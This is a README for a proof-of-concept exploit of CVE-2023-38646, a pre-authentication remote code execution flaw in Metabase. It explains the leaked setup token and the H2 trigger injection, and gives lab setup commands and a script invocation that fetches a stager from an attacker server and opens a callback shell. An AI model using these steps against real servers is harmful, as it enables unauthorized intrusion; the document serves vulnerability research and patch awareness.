
Repo contains the PoC and steps to reproduce cve 2023-38646
cd ~/metabase-poc cat > README.md << 'EOF'
CVSS 9.8. Metabase versions before 0.46.6.1 / 1.46.6.1 (and equivalent
earlier branches) expose a pre-authentication RCE via the /api/setup/validate
endpoint, which is meant to validate database connection details during
initial setup but is reachable without authentication even after setup
has already completed.
The endpoint accepts a database connection payload and, when engine: h2
is specified with a crafted JDBC connection string, allows embedding
arbitrary JavaScript via H2's CREATE TRIGGER ... AS $$//javascript syntax.
The trigger body executes at validation time, giving the attacker
JavaScript execution inside the JVM — which trivially escalates to OS
command execution via java.lang.Runtime.getRuntime().exec().
The underlying issue is H2 database engine trusting connection-string-embedded code as part of "validating" a datasource, combined with Metabase exposing this validation path pre-auth.
metabase/metabase:v0.46.6 Docker imagerequests, termcolorRun vulnerable Metabase:
docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6
docker logs -f metabase # wait for "Metabase Initialization COMPLETE"
Install exploit dependencies:
pip3 install requests termcolor
/api/session/properties leaks a setup-token
that's meant to gate the one-time initial setup flow, but remains valid
and usable even after setup is complete.java.lang.Runtime.getRuntime().exec() to fetch a bash stager from the
attacker's HTTP server and pipe command output back over a raw TCP
listener, base64-encoded.python3 51797.py -l <attacker_ip> -p 4444 -P 8000 -u http://localhost:3000
-l — attacker callback IP (Docker bridge gateway when target is a
local container, e.g. 172.17.0.1)-p — port the reverse data channel connects back on-P — local HTTP server port serving the stager script-u — target Metabase base URLDrops into an interactive metabase_shell > prompt once the pre-auth
callback confirms exploitability.
metabase_shell > whoami metabase metabase_shell > id uid=2000(metabase) gid=2000(metabase) groups=2000(metabase),2000(metabase)
Command execution confirmed as the metabase service account — pre-auth,
no credentials required. Severity stems from network-reachable RCE with
zero authentication, not from the privilege level of the resulting shell.
Patched in Metabase 0.46.6.1 / 1.46.6.1 and later — the /api/setup/validate
endpoint now requires setup to be genuinely incomplete, and setup tokens
are invalidated once initial setup finishes.
For isolated lab use only. Do not run against Metabase instances you do not own or have explicit authorization to test.